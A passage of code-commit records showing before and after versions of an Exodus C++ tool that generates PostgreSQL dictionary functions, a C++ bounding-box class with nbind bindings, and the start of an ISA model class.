{\n\n\tfunctionname_and_args.outputl();\n\n\tvar functionsql=sqltemplate;\n\n\tfunctionsql.swapper(\"$functionname_and_args\",functionname_and_args);\n\n\tfunctionsql.swapper(\"$sqlcode\",sql);\n\n\tif (verbose)\n\t\tfunctionsql.outputl();\n\n\tvar errmsg;\n\tvar().sqlexec(functionsql,errmsg);\n\n\tif (errmsg) {\n\t\tif (not verbose) {\n\t\t\t\/\/functionsql.outputl();\n\t\t\tint nlines=count(functionsql,\"\\n\");\n\t\t\tfor (int linen=1;linen<=nlines;++linen) {\n\t\t\t\tprintl(linen-2+2,\". \", field(functionsql,\"\\n\",linen) );\n\t\t\t}\n\t\t\toutputl();\n\t\t}\n\t\terrmsg.outputl();\n\t}\n\treturn;\n}\n\nsubroutine onefile(in dictfilename, in reqdictid, io viewsql) {\n\n\tif (dictfilename.substr(1,5) ne \"dict_\")\n\t\treturn;\n\n\tif (!open(dictfilename,dictfile)) {\n\t\tcall fsmsg();\n\t\tabort();\n\t}\n\n\tif (reqdictid)\n\t\tmakelist(\"\",reqdictid);\n\telse\n\t\tselect(dictfilename);\n\n\tvar dictid;\n\twhile (readnext(dictid)) {\n\t\tonedictid(dictfilename, dictid, reqdictid);\n\t}\n\n\tif (viewsql) {\n\t\tviewsql ^= \"SELECT '\" ^ dictfilename.substr(6).ucase() ^ \"'||'*'||key as key, data\\n\";\n\t\tviewsql ^= \"FROM \" ^ dictfilename ^ \"\\n\";\n\t\tviewsql ^= \"UNION\\n\";\n\t}\n\n\treturn;\n}\n\nsubroutine onedictid(in dictfilename, io dictid, in reqdictid) {\n\n\t\/\/get the dict source code\n\tvar dictrec;\n\tif (not dictrec.read(dictfile,dictid)) {\n\t\tdictid.ucaser();\n\t\tif (!dictrec.read(dictfile,dictid))\n\t\t\tstop(quote(dictid)^\" cannot be read in \"^quote(dictfilename));\n\t}\n\tvar sourcecode=dictrec.a(8);\n\tvar ismv=dictrec.a(4)[1]==\"M\";\n\n\t\/\/remove anything before sql code\n\tvar pos=index(sourcecode,\"\/\" \"*pgsql\");\n\tif (!pos) {\n\t\tif (reqdictid)\n\t\t\tstop(quote(dictfilename)^\" \"^quote(dictid)^\" does not have any pgsql section\");\n\t\treturn;\n\t}\n\tvar sql=sourcecode.substr(pos+8);\n\n\t\/\/printl(dictfilename, \" \",dictid, \" > sql\");\n\n\t\/\/should take everything up to the end ??\n\t\/\/so pgsql comments like \/* *\/ are respected ??\n\t\/\/remove anything after sql code\n\t\/\/find the LAST * \/  pair and remove everything after it\n\tvar lastpos=0;\n\tfor (int ii=1;;++ii) {\n\t\t\/\/find the ii'th * \/ terminator\n\t\tpos=index(sql,\"*\" \"\/\",ii);\n\t\tif (!pos)\n\t\t\tbreak;\n\t\tlastpos=pos;\n\t}\n\tif (lastpos)\n\t\tsql.splicer(lastpos-1,\"\");\n\n\tvar xlatetemplate;\n\tif (ismv)\n\t\txlatetemplate=\nR\"V0G0N(\n$RETVAR := array_to_string\n(\n array\n (\n  SELECT\n    $TARGET_EXPR\n   FROM\n    unnest\n    (\n     string_to_array($SOURCEKEY_EXPR,chr(29))\n    )\n   LEFT JOIN\n    $TARGETFILE on $TARGETFILE.key = unnest\n ),\n chr(29),\n ''\n);\n)V0G0N\";\n\t\telse\n\t\t\txlatetemplate=\nR\"V0G0N(\n$RETVAR :=\n  $TARGET_EXPR\n  FROM $TARGETFILE\n  WHERE $TARGETFILE.key=$SOURCEKEY_EXPR;\n  $RETVAR := coalesce($RETVAR,'');\n)V0G0N\";\n\n\t\/\/ expand lines like the following to sql\n\t\/\/ (all spaces are MANDATORY)\n\t\/\/ ans := xlate filename fromfn tofn\n\t\/\/ e.g.\n\t\/\/ xlate=xlate jobs 2 14\n\t\/\/ ->\n\t\/\/ ans:=split_part(jobs.data,chr(30),14)\n\t\/\/ FROM jobs\n\t\/\/ WHERE jobs.key=split_part($2,chr(30),2);\n\t\/\/\n\t\/\/ fromfn and tofn can be functions\n\t\/\/ \"from\" expression has access to source file data in variable $2 (argument 2)\n\t\/\/ \"to\" expression has access to target file data eg invoices.data\n\tint nlines=dcount(sql,VM);\n\tfor (int ln=1;ln<=nlines;++ln) {\n\t\tvar line=sql.a(1,ln).trim();\n\t\tif (line.substr(1,2)!=\"--\" && field(line,\" \",2,2) eq \":= xlate\") {\n\n\t\t\t\/\/line.outputl(\"xlate=\");\n\n\t\t\t\/\/eg ans\n\t\t\tvar targetvariablename=line.field(\" \",1);\n\n\t\t\t\/\/target file name eg jobs\n\t\t\tvar target_filename=line.field(\" \",4);\n\n\t\t\t\/\/source file field number or expression for key to target file\n\t\t\tvar source_key_expr=line.field(\" \",5);\n\t\t\t\/\/if key field numeric then extract from source file date\n\t\t\tif (source_key_expr.isnum())\n\t\t\t\tsource_key_expr=\"split_part($2,chr(30),\"^source_key_expr^\")\";\n\n\t\t\t\/\/target file field number or expression\n\t\t\tvar target_expr=line.field(\" \",6);\n\t\t\tif (target_expr.isnum())\n\t\t\t\ttarget_expr=\"split_part(\"^target_filename^\".data,chr(30),\"^target_expr^\")\";\n\n\t\t\t\/\/line=targetvariablename^\" := \";\n\t\t\t\/\/if (ismv) {\n\t\t\t\/\/\tline^=\"array_to_string\"\n\t\t\t\/\/\t\"(\"\n\t\t\t\/\/\t\" array\"\n\t\t\t\/\/ \" (\"\n\t\t\t\/\/ \" select \";\n\t\t\t\/\/}\n\t\t\t\/\/line^=target_expression;\n\t\t\t\/\/line^=\"\\n FROM \"^target_filename;\n\t\t\t\/\/line^=\"\\n WHERE \"^target_filename^\".key=\"^source_key_expression^\";\";\n\t\t\tline=xlatetemplate;\n\t\t\tline.swapper(\"$RETVAR\",targetvariablename);\n\t\t\tline.swapper(\"$TARGETFILE\",target_filename);\n\t\t\tline.swapper(\"$SOURCEKEY_EXPR\",source_key_expr);\n\t\t\tline.swapper(\"$TARGET_EXPR\",target_expr);\n\t\t\t\/\/line.outputl(\"sql=\");\n\n\t\t\tsql.r(1,ln,line);\n\t\t}\n\t}\n\n\t\/\/convert to text\n\tsql.trimmerf(VM).trimmerb(VM);\n\tsql.converter(VM,\"\\n\");\n\n\tvar sqltemplate=\nR\"V0G0N(CREATE OR REPLACE FUNCTION\n $functionname_and_args\n RETURNS text\n AS\n $$\n  DECLARE\n   ans text;\n  BEGIN\n$sqlcode\n  RETURN ans;\n  END;\n $$\n LANGUAGE 'plpgsql'\n IMMUTABLE\n SECURITY\n DEFINER\n COST 10;\n )V0G0N\";\n\n\t\/\/set the function name\n\tdo_sql(dictfilename^\"_\"^dictid^\"(key text, data text)\",sql,sqltemplate);\n\n}\n\nprogramexit()\n<commit_msg>exodus_field_replace(text sep fieldn), exodus_split(amountpluscurrcode)<commit_after>#include <exodus\/program.h>\nprograminit()\n\nvar verbose;\nvar dictfilename;\nvar dictfile;\nvar dictrec;\n\nfunction main() {\n\n\t\/\/ Syntax:\n\t\/\/ dict2sql {filename {dictid}} {V}\n\n\t\/\/ 1. Creates pgsql functions to calculate columns given data and key\n\t\/\/\n\t\/\/ functions like \"dict_filename_DICT_ID(key,data)\" returns text\n\t\/\/ \/df\n\t\/\/ List of functions\n\t\/\/ Schema | Name | Result data type | Argument data types | Type\n\t\/\/ -------+---------------------------+--------------------+---------------------+--------\n\t\/\/ public | dict_ads_brand_and_date | text | key text, data text | normal\n\t\/\/ ...\n\n\t\/\/ NOTE: Multivalued pgsql dictionary functions currently should be written to calculate\n\t\/\/ and return ALL multivalues (as if MV=0) since currently exodus never requests postgres\n\t\/\/ to call a dict functions to get a specific mv.\n\t\/\/ If in future MV is required, then dict function arguments will probably become (key,data,mv)\n\n\t\/\/ 2. Creates dict_all file which represents all dictionary files and their items in one file\n\t\/\/\n\t\/\/ only performed when filename is omitted\n\t\/\/\n\t\/\/ see \"listdict all\"\n\n\t\/\/ 3. Creates various exodus pgsql utility functions\n\t\/\/\n\t\/\/ only performed when filename is omitted\n\t\/\/\n\t\/\/ \/df\n\t\/\/ List of functions\n\t\/\/ Schema | Name | Result data type | Argument data types | Type\n\t\/\/ -------+---------------------------+--------------------+---------------------+--------\n\t\/\/ public | exodus_count | integer | text, text | normal\n\t\/\/ public | exodus_trim | text | data text\n\t\/\/ ...\n\n\t\/\/TODO work on more than the default db connection\n\n\tvar filenames=COMMAND.a(2).lcase();\n\tvar dictid=COMMAND.a(3);\n\tverbose=index(OPTIONS,'V');\n\tvar doall = true;\n\n\tif (filenames)\n\t{\n\t\tdoall = false;\n\t\tif (filenames.substr(1,5) ne \"dict_\")\n\t\t\tfilenames.splicer(1,0,\"dict_\");\n\t}\n\telse\n\t\tfilenames=var().listfiles();\n\n\t\/\/create global view of all dicts in \"dict_all\"\n\tvar viewsql=\"\";\n\tif (doall)\n\t\tviewsql ^= \"CREATE MATERIALIZED VIEW dict_all AS\\n\";\n\n\t\/\/do one or many\/all files\n\tint nfiles=dcount(filenames,FM);\n\tfor (int filen=1;filen<=nfiles;++filen)\n\t\tonefile(filenames.a(filen),dictid,viewsql);\n\n\t\/\/quit if not doing all files\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tif (!doall)\n\t\treturn 0;\n\n\t\/\/create dict_all file\n\n\t\/\/ignore error if doesnt exist\n\tif (not var().sqlexec(\"DROP MATERIALIZED VIEW dict_all\"))\n\t\tvar().sqlexec(\"DROP VIEW dict_all\");\n\n\tviewsql.splicer(-6,6,\"\");\/\/remove trailing \"UNION\" word\n\tvar errmsg;\n\tif (verbose)\n\t\tviewsql.output(\"SQL:\");\n\tif (var().sqlexec(viewsql,errmsg))\n\t\tprintl(\"dict_all file created\");\n\telse {\n\t\tif (not verbose)\n\t\t\tviewsql.outputl(\"SQL:\");\n\t\terrmsg.outputl(\"Error:\");\n\t}\n\n\t\/\/create exodus pgsql functions\n\n\tvar sqltemplate=\nR\"V0G0N(\nCREATE OR REPLACE FUNCTION\n$functionname_and_args\nRETURNS text\nAS\n$$\nBEGIN\n$sqlcode\nEND;\n$$\nLANGUAGE 'plpgsql'\nIMMUTABLE\nSECURITY\nDEFINER\nCOST 10;\n)V0G0N\";\n\n\t\/\/exodus_trim\n\tvar trimsql=R\"(return regexp_replace(regexp_replace(data, '^\\s+|\\s+$', '', 'g'),'\\s{2,}',' ','g');)\";\n\tdo_sql(\"exodus_trim(data text)\",trimsql,sqltemplate);\n\n\t\/\/exodus_field_replace\n\tdo_sql(\"exodus_field_replace(data text, sep text, fieldno int, replacement text)\",field_replace_sql,sqltemplate);\n\n\t\/\/exodus_field_remove\n\tdo_sql(\"exodus_field_remove(data text, sep text, fieldno int)\",field_remove_sql,sqltemplate);\n\n\t\/\/exodus_split\n\tdo_sql(\"exodus_split(data text)\",split_sql,sqltemplate);\n\n\treturn 0;\n}\n\nsubroutine do_sql(in functionname_and_args, in sql, in sqltemplate) {\n\n\tfunctionname_and_args.outputl();\n\n\tvar functionsql=sqltemplate;\n\n\tfunctionsql.swapper(\"$functionname_and_args\",functionname_and_args);\n\n\tfunctionsql.swapper(\"$sqlcode\",sql);\n\n\tif (verbose)\n\t\tfunctionsql.outputl();\n\n\tvar errmsg;\n\tvar().sqlexec(functionsql,errmsg);\n\n\tif (errmsg) {\n\t\tif (not verbose) {\n\t\t\t\/\/functionsql.outputl();\n\t\t\tint nlines=count(functionsql,\"\\n\");\n\t\t\tfor (int linen=1;linen<=nlines;++linen) {\n\t\t\t\tprintl(linen-2+2,\". \", field(functionsql,\"\\n\",linen) );\n\t\t\t}\n\t\t\toutputl();\n\t\t}\n\t\terrmsg.outputl();\n\t}\n\treturn;\n}\n\nsubroutine onefile(in dictfilename, in reqdictid, io viewsql) {\n\n\tif (dictfilename.substr(1,5) ne \"dict_\")\n\t\treturn;\n\n\tif (!open(dictfilename,dictfile)) {\n\t\tcall fsmsg();\n\t\tabort();\n\t}\n\n\tif (reqdictid)\n\t\tmakelist(\"\",reqdictid);\n\telse\n\t\tselect(dictfilename);\n\n\tvar dictid;\n\twhile (readnext(dictid)) {\n\t\tonedictid(dictfilename, dictid, reqdictid);\n\t}\n\n\tif (viewsql) {\n\t\tviewsql ^= \"SELECT '\" ^ dictfilename.substr(6).ucase() ^ \"'||'*'||key as key, data\\n\";\n\t\tviewsql ^= \"FROM \" ^ dictfilename ^ \"\\n\";\n\t\tviewsql ^= \"UNION\\n\";\n\t}\n\n\treturn;\n}\n\nsubroutine onedictid(in dictfilename, io dictid, in reqdictid) {\n\n\t\/\/get the dict source code\n\tvar dictrec;\n\tif (not dictrec.read(dictfile,dictid)) {\n\t\tdictid.ucaser();\n\t\tif (!dictrec.read(dictfile,dictid))\n\t\t\tstop(quote(dictid)^\" cannot be read in \"^quote(dictfilename));\n\t}\n\tvar sourcecode=dictrec.a(8);\n\tvar ismv=dictrec.a(4)[1]==\"M\";\n\n\t\/\/remove anything before sql code\n\tvar pos=index(sourcecode,\"\/\" \"*pgsql\");\n\tif (!pos) {\n\t\tif (reqdictid)\n\t\t\tstop(quote(dictfilename)^\" \"^quote(dictid)^\" does not have any pgsql section\");\n\t\treturn;\n\t}\n\tvar sql=sourcecode.substr(pos+8);\n\n\t\/\/printl(dictfilename, \" \",dictid, \" > sql\");\n\n\t\/\/should take everything up to the end ??\n\t\/\/so pgsql comments like \/* *\/ are respected ??\n\t\/\/remove anything after sql code\n\t\/\/find the LAST * \/  pair and remove everything after it\n\tvar lastpos=0;\n\tfor (int ii=1;;++ii) {\n\t\t\/\/find the ii'th * \/ terminator\n\t\tpos=index(sql,\"*\" \"\/\",ii);\n\t\tif (!pos)\n\t\t\tbreak;\n\t\tlastpos=pos;\n\t}\n\tif (lastpos)\n\t\tsql.splicer(lastpos-1,\"\");\n\n\tvar xlatetemplate;\n\tif (ismv)\n\t\txlatetemplate=\nR\"V0G0N(\n$RETVAR := array_to_string\n(\n array\n (\n  SELECT\n    $TARGET_EXPR\n   FROM\n    unnest\n    (\n     string_to_array($SOURCEKEY_EXPR,chr(29))\n    )\n   LEFT JOIN\n    $TARGETFILE on $TARGETFILE.key = unnest\n ),\n chr(29),\n ''\n);\n)V0G0N\";\n\t\telse\n\t\t\txlatetemplate=\nR\"V0G0N(\n$RETVAR :=\n  $TARGET_EXPR\n  FROM $TARGETFILE\n  WHERE $TARGETFILE.key=$SOURCEKEY_EXPR;\n  $RETVAR := coalesce($RETVAR,'');\n)V0G0N\";\n\n\t\/\/ expand lines like the following to sql\n\t\/\/ (all spaces are MANDATORY)\n\t\/\/ ans := xlate filename fromfn tofn\n\t\/\/ e.g.\n\t\/\/ xlate=xlate jobs 2 14\n\t\/\/ ->\n\t\/\/ ans:=split_part(jobs.data,chr(30),14)\n\t\/\/ FROM jobs\n\t\/\/ WHERE jobs.key=split_part($2,chr(30),2);\n\t\/\/\n\t\/\/ fromfn and tofn can be functions\n\t\/\/ \"from\" expression has access to source file data in variable $2 (argument 2)\n\t\/\/ \"to\" expression has access to target file data eg invoices.data\n\tint nlines=dcount(sql,VM);\n\tfor (int ln=1;ln<=nlines;++ln) {\n\t\tvar line=sql.a(1,ln).trim();\n\t\tif (line.substr(1,2)!=\"--\" && field(line,\" \",2,2) eq \":= xlate\") {\n\n\t\t\t\/\/line.outputl(\"xlate=\");\n\n\t\t\t\/\/eg ans\n\t\t\tvar targetvariablename=line.field(\" \",1);\n\n\t\t\t\/\/target file name eg jobs\n\t\t\tvar target_filename=line.field(\" \",4);\n\n\t\t\t\/\/source file field number or expression for key to target file\n\t\t\tvar source_key_expr=line.field(\" \",5);\n\t\t\t\/\/if key field numeric then extract from source file date\n\t\t\tif (source_key_expr.isnum())\n\t\t\t\tsource_key_expr=\"split_part($2,chr(30),\"^source_key_expr^\")\";\n\n\t\t\t\/\/target file field number or expression\n\t\t\tvar target_expr=line.field(\" \",6);\n\t\t\tif (target_expr.isnum())\n\t\t\t\ttarget_expr=\"split_part(\"^target_filename^\".data,chr(30),\"^target_expr^\")\";\n\n\t\t\t\/\/line=targetvariablename^\" := \";\n\t\t\t\/\/if (ismv) {\n\t\t\t\/\/\tline^=\"array_to_string\"\n\t\t\t\/\/\t\"(\"\n\t\t\t\/\/\t\" array\"\n\t\t\t\/\/ \" (\"\n\t\t\t\/\/ \" select \";\n\t\t\t\/\/}\n\t\t\t\/\/line^=target_expression;\n\t\t\t\/\/line^=\"\\n FROM \"^target_filename;\n\t\t\t\/\/line^=\"\\n WHERE \"^target_filename^\".key=\"^source_key_expression^\";\";\n\t\t\tline=xlatetemplate;\n\t\t\tline.swapper(\"$RETVAR\",targetvariablename);\n\t\t\tline.swapper(\"$TARGETFILE\",target_filename);\n\t\t\tline.swapper(\"$SOURCEKEY_EXPR\",source_key_expr);\n\t\t\tline.swapper(\"$TARGET_EXPR\",target_expr);\n\t\t\t\/\/line.outputl(\"sql=\");\n\n\t\t\tsql.r(1,ln,line);\n\t\t}\n\t}\n\n\t\/\/convert to text\n\tsql.trimmerf(VM).trimmerb(VM);\n\tsql.converter(VM,\"\\n\");\n\n\tvar sqltemplate=\nR\"V0G0N(CREATE OR REPLACE FUNCTION\n $functionname_and_args\n RETURNS text\n AS\n $$\n  DECLARE\n   ans text;\n  BEGIN\n$sqlcode\n  RETURN ans;\n  END;\n $$\n LANGUAGE 'plpgsql'\n IMMUTABLE\n SECURITY\n DEFINER\n COST 10;\n )V0G0N\";\n\n\t\/\/set the function name\n\tdo_sql(dictfilename^\"_\"^dictid^\"(key text, data text)\",sql,sqltemplate);\n\n}\/\/onedictid\n\n\/\/exodus_field_remove\nvar field_remove_sql=\nR\"V0G0N(\nDECLARE\n charn int;\n nchars int;\n currfieldn int;\n ans text;\n\nBEGIN\n\n -- SIMILAR CODE IN FIELD_REMOVE AND FIELD_REPLACE\n\n if fieldno<=0 then\n  if fieldno=0 then\n   return '';\n  end if;\n  return data;\n end if;\n\n ans := '';\n currfieldn :=1;\n nchars := length(data);\n for charn in 1..nchars loop\n\n  continue when substr(data,charn,1) <> sep;\n\n  --if substr(data,charn,1) = sep then\n\n   currfieldn=currfieldn+1;\n\n  if currfieldn=fieldno then\n   ans := substr(data,1,charn-1);\n\n  elseif currfieldn>fieldno then\n   if ans<>'' then\n    ans := ans || sep || substr(data,charn+1);\n   else\n    ans := substr(data,charn+1);\n   end if;\n   return ans;\n  end if;\n\n  --end if;\n\n end loop;\n\n -- deleting beyond the number of existing fields\n if currfieldn<fieldno then\n  return data;\n  end if;\n\n return ans;\n\nEND;\n)V0G0N\";\n\n\/\/exodus_field_replace\nvar field_replace_sql=\nR\"V0G0N(\nDECLARE\n charn int;\n nchars int;\n currfieldn int;\n ans text;\n\nBEGIN\n\n -- SIMILAR CODE IN FIELD_REMOVE AND FIELD_REPLACE\n\n if fieldno<=0 then\n  if fieldno=0 then\n   return replacement;\n  end if;\n  if data='' then\n   return replacement;\n  else\n   return data || sep || replacement;\n  end if;\n\n end if;\n\n ans := '';\n currfieldn :=1;\n nchars := length(data);\n for charn in 1..nchars loop\n\n  continue when substr(data,charn,1) <> sep;\n  --if substr(data,charn,1) = sep then\n\n  currfieldn=currfieldn+1;\n\n  if currfieldn=fieldno then\n   ans := substr(data,1,charn-1);\n\n  elseif currfieldn>fieldno then\n   if ans<>'' then\n    ans := ans || sep || replacement || sep || substr(data,charn+1);\n   else\n    ans := replacement || sep || substr(data,charn+1);\n   end if;\n   return ans;\n  end if;\n\n  --end if;\n\n end loop;\n\n -- deleting beyond the number of existing fields\n if currfieldn<fieldno then\n   if replacement<>'' then\n    data := data || repeat(sep,fieldno-currfieldn)|| replacement;\n   end if;\n  return data;\n  end if;\n\n if replacement<>'' then\n  ans := ans || sep || replacement;\n  end if;\n\n return ans;\n\nEND;\n)V0G0N\";\n\n\/\/exodus_split\nvar split_sql=\nR\"V0G0N(\nDECLARE\n inputx text;\n temp text;\n numlen int;\n numx text;\n unitx text;\n nn int;\n tt int;\n char1 char(1);\nBEGIN\n   inputx:=data;\n   inputx:=translate(inputx,' ','');\n   temp:=inputx;\n   char1:=substring(temp,1,1);\n   if char1='-' then\n    temp=substring(temp,2);\n   end if;\n   temp:=translate(temp,'123456789.,','           ');\n\n   numlen=length(temp)-length(trim(leading from temp));\n   if char1='-' then\n    numlen := numlen+1;\n    end if;\n   numx:=substring(inputx,1,numlen);\n\n   if numx='-' then\n    numx:='';\n   end if;\n\n   -- unused (function arg output var)\n   unitx=substring(inputx,numlen+1,99);\n\n   -- convert to decimal format\n   -- remove all , '.' besides last\n   numx=translate(numx, ',' , '.');\n   nn=exodus_count(numx,'.');\n   for ii in 1..nn-1 loop\n    tt=strpos(numx,'.');\n    if tt<>0 then\n     numx:=substring(numx,1,tt-1) || substring(numx,tt+1);\n    end if;\n   end loop;\n\n   return numx || ' ' || unitx;\n\nEND;\n\n)V0G0N\";\n\nprogramexit()\n<|endoftext|>"}
{"text":"<commit_before>#include <cstdint>\n\n#include \"BBox.h\"\n\nusing namespace charto;\n\ntemplate <typename Unit>\ndouble BBox<Unit> :: sqDistTo(Unit x, Unit y) const {\n\tdouble dx = 0, dy = 0;\n\n\tif(x < sw.x) dx = x - sw.x;\n\telse if(x > ne.x) dx = x - ne.x;\n\n\tif(y < sw.y) dy = y - sw.y;\n\telse if(y >= ne.y) dy = y - ne.y;\n\n\treturn(dx * dx + dy * dy);\n}\n\n\/*\n\tThe extended edges of the bounding box partition the coordinate system\n\tinto 9 regions like this:\n\n\tul \/ sw\n\n\tv               v\n\t1100 | 0100 | 0110\n\t-----+------+-----\n\t1000 | 0000 | 0010\n\t-----+------+-----\n\t1001 | 0001 | 0011<   lr \/ ne\n\n\tResult is a 4-bit code where each bit represents being on the outside of a\n\tparticular edge. Points on edges are considered to belong to the region\n\tbelow or on the right side of them in this diagram.\n*\/\n\ntemplate <typename Unit>\nunsigned int BBox<Unit> :: getRegion(Unit x, Unit y) const {\n\treturn((\n\t\t((x < ul.x) << 3) |\n\t\t((y < ul.y) << 2) |\n\t\t((x < lr.x) << 1) |\n\t\t (y < lr.y)\n\t) ^ 3);\n}\n\n\/\/ Integer version uses more bit twiddles to ensure it's branchless.\n\ntemplate <>\nunsigned int BBox<uint32_t> :: getRegion(uint32_t x, uint32_t y) const {\n\treturn((\n\t\t(((x - ul.x) >> 28) & 8) |\n\t\t(((y - ul.y) >> 29) & 4) |\n\t\t(((x - lr.x) >> 30) & 2) |\n\t\t ((y - lr.y) >> 31)\n\t) ^ 3);\n}\n\n\/\/ Box edges or corners touching each other are considered not to intersect,\n\/\/ because only the SW corner and edges touching it belong to each box.\n\ntemplate <typename Unit>\nbool BBox<Unit> :: intersects(const BBox &other) const {\n\treturn(\n\t\t   other.sw.x < ne.x\n\t\t&& other.sw.y < ne.y\n\t\t&& other.ne.x > sw.x\n\t\t&& other.ne.y > sw.y\n\t);\n}\n\n\/\/ Both bounding boxes must have nonzero width!\n\/\/ Otherwise this may erroneously return true.\n\ntemplate <typename Unit>\nbool BBox<Unit> :: containsX(const BBox &other) const {\n\treturn(other.sw.x >= sw.x && other.ne.x <= ne.x);\n}\n\n\/\/ Both bounding boxes must have nonzero height!\n\/\/ Otherwise this may erroneously return true.\n\ntemplate <typename Unit>\nbool BBox<Unit> :: containsY(const BBox &other) const {\n\treturn(other.sw.y >= sw.y && other.ne.y <= ne.y);\n}\n\n\/\/ Both bounding boxes must have nonzero width and height!\n\/\/ Otherwise this may erroneously return true.\n\ntemplate <typename Unit>\nbool BBox<Unit> :: contains(const BBox &other) const {\n\treturn(containsX(other) && containsY(other));\n}\n\ntemplate <typename Unit>\nvoid BBox<Unit> :: extend(Unit x, Unit y) {\n\tif(x < sw.x) sw.x = x;\n\tif(y < sw.y) sw.y = y;\n\tif(x > ne.x) ne.x = x;\n\tif(y > ne.y) ne.y = y;\n}\n\ntemplate class charto::BBox<double>;\ntemplate class charto::BBox<uint32_t>;\n\n#include \"nbind\/nbind.h\"\n\nusing namespace nbind;\n\nNBIND_CLASS(BBox<double>, BBox) {\n\tconstruct<double, double, double, double>();\n\n\tgetter(getSW);\n\tgetter(getNE);\n\n\/\/\tmethod(sqDistTo);\n\tmethod(getRegion, Overloaded<unsigned int (double, double) const>());\n\n\tmethod(intersects);\n\tmethod(contains, Overloaded<bool (const BBox<double> &) const>());\n\n\tmethod(extend, Overloaded<void (double, double)>());\n}\n\nNBIND_CLASS(BBox<uint32_t>, BBoxInt) {\n\tconstruct<uint32_t, uint32_t, uint32_t, uint32_t>();\n\n\tgetter(getSW);\n\tgetter(getNE);\n\n\/\/\tmethod(sqDistTo);\n\tmethod(getRegion, Overloaded<unsigned int (uint32_t, uint32_t) const>());\n\n\tmethod(intersects);\n\n\tmethod(extend, Overloaded<void (uint32_t, uint32_t)>());\n}\n<commit_msg>Update to latest nbind dev branch.<commit_after>#include <cstdint>\n\n#include \"BBox.h\"\n\nusing namespace charto;\n\ntemplate <typename Unit>\ndouble BBox<Unit> :: sqDistTo(Unit x, Unit y) const {\n\tdouble dx = 0, dy = 0;\n\n\tif(x < sw.x) dx = x - sw.x;\n\telse if(x > ne.x) dx = x - ne.x;\n\n\tif(y < sw.y) dy = y - sw.y;\n\telse if(y >= ne.y) dy = y - ne.y;\n\n\treturn(dx * dx + dy * dy);\n}\n\n\/*\n\tThe extended edges of the bounding box partition the coordinate system\n\tinto 9 regions like this:\n\n\tul \/ sw\n\n\tv               v\n\t1100 | 0100 | 0110\n\t-----+------+-----\n\t1000 | 0000 | 0010\n\t-----+------+-----\n\t1001 | 0001 | 0011<   lr \/ ne\n\n\tResult is a 4-bit code where each bit represents being on the outside of a\n\tparticular edge. Points on edges are considered to belong to the region\n\tbelow or on the right side of them in this diagram.\n*\/\n\ntemplate <typename Unit>\nunsigned int BBox<Unit> :: getRegion(Unit x, Unit y) const {\n\treturn((\n\t\t((x < ul.x) << 3) |\n\t\t((y < ul.y) << 2) |\n\t\t((x < lr.x) << 1) |\n\t\t (y < lr.y)\n\t) ^ 3);\n}\n\n\/\/ Integer version uses more bit twiddles to ensure it's branchless.\n\ntemplate <>\nunsigned int BBox<uint32_t> :: getRegion(uint32_t x, uint32_t y) const {\n\treturn((\n\t\t(((x - ul.x) >> 28) & 8) |\n\t\t(((y - ul.y) >> 29) & 4) |\n\t\t(((x - lr.x) >> 30) & 2) |\n\t\t ((y - lr.y) >> 31)\n\t) ^ 3);\n}\n\n\/\/ Box edges or corners touching each other are considered not to intersect,\n\/\/ because only the SW corner and edges touching it belong to each box.\n\ntemplate <typename Unit>\nbool BBox<Unit> :: intersects(const BBox &other) const {\n\treturn(\n\t\t   other.sw.x < ne.x\n\t\t&& other.sw.y < ne.y\n\t\t&& other.ne.x > sw.x\n\t\t&& other.ne.y > sw.y\n\t);\n}\n\n\/\/ Both bounding boxes must have nonzero width!\n\/\/ Otherwise this may erroneously return true.\n\ntemplate <typename Unit>\nbool BBox<Unit> :: containsX(const BBox &other) const {\n\treturn(other.sw.x >= sw.x && other.ne.x <= ne.x);\n}\n\n\/\/ Both bounding boxes must have nonzero height!\n\/\/ Otherwise this may erroneously return true.\n\ntemplate <typename Unit>\nbool BBox<Unit> :: containsY(const BBox &other) const {\n\treturn(other.sw.y >= sw.y && other.ne.y <= ne.y);\n}\n\n\/\/ Both bounding boxes must have nonzero width and height!\n\/\/ Otherwise this may erroneously return true.\n\ntemplate <typename Unit>\nbool BBox<Unit> :: contains(const BBox &other) const {\n\treturn(containsX(other) && containsY(other));\n}\n\ntemplate <typename Unit>\nvoid BBox<Unit> :: extend(Unit x, Unit y) {\n\tif(x < sw.x) sw.x = x;\n\tif(y < sw.y) sw.y = y;\n\tif(x > ne.x) ne.x = x;\n\tif(y > ne.y) ne.y = y;\n}\n\ntemplate class charto::BBox<double>;\ntemplate class charto::BBox<uint32_t>;\n\n#include \"nbind\/nbind.h\"\n\nusing namespace nbind;\n\nNBIND_CLASS(BBox<double>, BBox) {\n\tconstruct<double, double, double, double>();\n\n\tgetter(getSW);\n\tgetter(getNE);\n\n\/\/\tmethod(sqDistTo);\n\tmultimethod(getRegion, args(double, double));\n\n\tmethod(intersects);\n\tmultimethod(contains, args(const BBox<double> &));\n\n\tmultimethod(extend, args(double, double));\n}\n\nNBIND_CLASS(BBox<uint32_t>, BBoxInt) {\n\tconstruct<uint32_t, uint32_t, uint32_t, uint32_t>();\n\n\tgetter(getSW);\n\tgetter(getNE);\n\n\/\/\tmethod(sqDistTo);\n\tmultimethod(getRegion, args(uint32_t, uint32_t));\n\n\tmethod(intersects);\n\n\tmultimethod(extend, args(uint32_t, uint32_t));\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"isa.h\"\n#include \"Eigen\/LU\"\n#include <iostream>\n\nISA::ISA(int numVisibles, int numHiddens, int sSize, int numScales) :\n\tmNumVisibles(numVisibles), mNumHiddens(numHiddens)\n{\n\tif(mNumHiddens < mNumVisibles)\n\t\tmNumHiddens = mNumVisibles;\n\tmBasis = MatrixXd::Random(mNumVisibles, mNumHiddens);\n\n\tfor(int i = 0; i < mNumHiddens \/ sSize; ++i)\n\t\tmSubspaces.push_back(GSM(sSize, numScales));\n\n\tif(mNumHiddens % sSize)\n\t\tmSubspaces.push_back(GSM(mNumHiddens % sSize, numScales));\n}\n\n\n\nISA::~ISA() {\n}\n\n\n\nvoid ISA::train(const MatrixXd& data, Parameters params) {\n\tif(params.callback)\n\t\t\/\/ call callback function once before training\n\t\tif(!(*params.callback)(0, *this))\n\t\t\treturn;\n\n\tfor(int i = 0; i < params.maxIter; ++i) {\n\t\t\/\/ optimize basis\n\t\tbool improved = trainSGD(data, basis(), params);\n\n\t\tif(params.adaptive)\n\t\t\tparams.SGD.stepWidth *= improved ? 1.1 : 0.5;\n\n\t\t\/\/ optimize marginal distributions\n\t\ttrainPrior(basis().inverse() * data, 